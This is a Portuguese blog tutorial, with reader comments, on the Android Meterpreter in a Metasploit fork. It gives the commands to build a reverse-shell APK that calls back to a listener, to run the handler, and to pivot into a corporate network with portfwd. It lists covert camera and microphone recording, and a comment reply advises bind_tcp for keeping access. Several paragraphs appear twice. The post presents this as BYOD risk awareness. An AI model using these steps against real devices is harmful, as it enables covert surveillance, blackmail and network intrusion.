Há um tempo atrás, começou uma movimentação entre o pessoal que cuida de um fork do Metasploit, para desenvolver diversas funcionalidades que não existem na versão original mantida atualmente pela Rapid7. E dentre essas funcionalidades, está o Meterpreter Java portado para Android.
Já tem um bom tempo que estamos no aguardo de um Meterpreter para Linux, pois só havia uma versão para Windows, e algumas tentativas para o Linux, mas essa versão para Android, também é hiper bem vinda!
Para quem quiser dar uma olhada nessa nova funcionalidade, basta baixar essa versão do Metasploit, ou fazer a atualização de sua instalação com o comando ./msfupdate.
Logo abaixo, vocês podem ver o resultado desse comando atualizando o Metasploit com essa funcionalidade:
$ ./msfupdate
[*]
[*] Attempting to update the Metasploit Framework...
[*]
[...]
create mode 100644 external/source/javapayload/androidpayload/library/src/androidpayload/stage/Meterpreter.javacreate mode 100644 external/source/javapayload/androidpayload/library/src/androidpayload/stage/Shell.java
create mode 100644 external/source/javapayload/androidpayload/library/src/androidpayload/stage/Stage.java
create mode 100644 external/source/javapayload/androidpayload/library/src/com/metasploit/meterpreter/AndroidMeterpreter.java
create mode 100644 external/source/javapayload/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_fs_file_expand_path_android.java
create mode 100644 external/source/javapayload/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_sys_process_get_processes_android.java
Além disso, podemos visualizar se o mesmo já está instalado:
android/meterpreter/reverse_tcp Connect back stager, Run a meterpreter server on Android
android/shell/reverse_tcp Connect back stager, Spawn a piped command shell (sh)
E para testá-lo, podemos criar um payload que permite termos uma conexão reversa:
$ ./msfpayload android/meterpreter/reverse_tcp LHOST=192.168.1.102 R > shell.apk
É interessante, que nesse caso específico, precisamos definir que o formato de saída do payload será RAW (por isso o parâmetro "R"), mas nesse caso em específico, apesar da saída ser RAW, o msfpayload cria um arquivo APK no formato específico do Android. Vejamos:
$ file shell.apk
Depois de criado o arquivo, basta que instalemos o mesmo em um dispositivo Android, para vermos seu funcionamento. Mas antes de instalá-lo, vamos deixar nossa máquina escutando, à espera de uma conexão vinda do dispositivo Android:
$ ./msfcli multi/handler PAYLOAD=android/meterpreter/reverse_tcp LHOST=0.0.0.0 E
Na imagem acima, podemos ver a conexão reversa sendo realizada e o resultado do comando sysinfo.
Com esse meterpreter, podemos tirar fotos a partir da câmera do dispositivo Android, tanto a dianteira quanto a traseira, se houver. Outras duas interessantes possibilidades, é acionar o microfone do dispositivo para gravação de áudio ambiente e de ligações, e também a utilização do terminal do dispositivo como se fosse um micro remoto. Obviamente que existem outras, e deixo vocês testarem por conta própria :-)
Com esse meterpreter, podemos tirar fotos a partir da câmera do dispositivo Android, tanto a dianteira quanto a traseira, se houver. Outras duas interessantes possibilidades, é acionar o microfone do dispositivo para gravação de áudio ambiente e de ligações, e também a utilização do terminal do dispositivo como se fosse um micro remoto. Obviamente que existem outras, e deixo vocês testarem por conta própria :-)
Ok, até aí, quando pensamos em usuários comuns, não vejo muitos problemas, a não ser, obviamente, a invasão de privacidade. Por exemplo, imagine você sendo chantageado, porque um cara descobriu que em sua última ida ao motel, não foi sua esposa que lhe acompanhou (ou vice-versa) ;-)
Mas pensemos em uma grande corporação, onde o termo BYOD (Bring Your Own Device) está em voga e sendo implementado (sem os devidos controles de segurança)... O que será que pode ser descoberto gravando o áudio de um dispositivo utilizado por um executivo durante suas reuniões? E as fotos dos locais que ele frequenta?
Mas ainda assim isso é pouco...
Acredito que os(as) senhores(as), que já utilizaram o Metasploit (principalmente quem já fez algum curso de pentest comigo) conheçam o termo pivoting, que basicamente é a utilização de uma sessão do meterpreter, sendo utilizada como rota para tráfego de rede. Podemos fazer isso com o portfw também, como descrito nessa documentação da Offensive Security - http://www.offensive-security.com/metasploit-unleashed/Portfwd . Executando o comando abaixo, realizamos isso:
Mas pensemos em uma grande corporação, onde o termo BYOD (Bring Your Own Device) está em voga e sendo implementado (sem os devidos controles de segurança)... O que será que pode ser descoberto gravando o áudio de um dispositivo utilizado por um executivo durante suas reuniões? E as fotos dos locais que ele frequenta?
Mas ainda assim isso é pouco...
Acredito que os(as) senhores(as), que já utilizaram o Metasploit (principalmente quem já fez algum curso de pentest comigo) conheçam o termo pivoting, que basicamente é a utilização de uma sessão do meterpreter, sendo utilizada como rota para tráfego de rede. Podemos fazer isso com o portfw também, como descrito nessa documentação da Offensive Security - http://www.offensive-security.com/metasploit-unleashed/Portfwd . Executando o comando abaixo, realizamos isso:
meterpreter> portfwd add -l 80 -r 192.168.100.10 -p 80
[*] Local TCP relay created: 0.0.0.0:80 <-> 192.168.100.10:80->
Com esse procedimento, qualquer dispositivo Android que tenha acesso à rede interna de uma companhia, e que tenha sido comprometido por um atacante, torna-se uma porta de entrada para todos os recursos acessíveis para o funcionário dono do mesmo. E se esse funcionário, mais uma vez, for um executivo? E se esse executivo deixa seus filhos utilizarem seu smartphone ou tablet para instalar joguinhos sem conhecer a procedência ou confiabilidade dos mesmos?
Durmam com isso na mente!
Essa é uma preocupação que eu mesmo tenho, já que atuo com forense. Podem ver minha palestra sobre forense em Android aqui:
Vídeo - http://hackproofing.blogspot.com.br/2013/05/video-de-palestra-androids-forensic.html
Slides - http://hackproofing.blogspot.com.br/2012/05/slides-androids-forensics-you-shot.html
Além disso, ainda atuo na frente de iniciativas de SI em projeto de implementação de BYOD em uma grande corporação... Logo, esse assunto faz parte de minhas noites insones ;-)
Luiz eu tô vendo que a bola da vez é 'smartphone pentest' o foco nos aparelhos e palestra está em alta isso porque 'mobile account' em serviços de bancos vem crescendo junto com ataques focado no mesmo
ResponderExcluirProfessor , qual a maneira mais correta para se manter acesso em um meterpreter java/android? ja que o run persistence não funciona no mesmo
ResponderExcluirUtilizar um payload do tipo bind_tcp ou que deixe uma determinada porta aberta. Assim poderá conectar-se quando quiser.
Excluir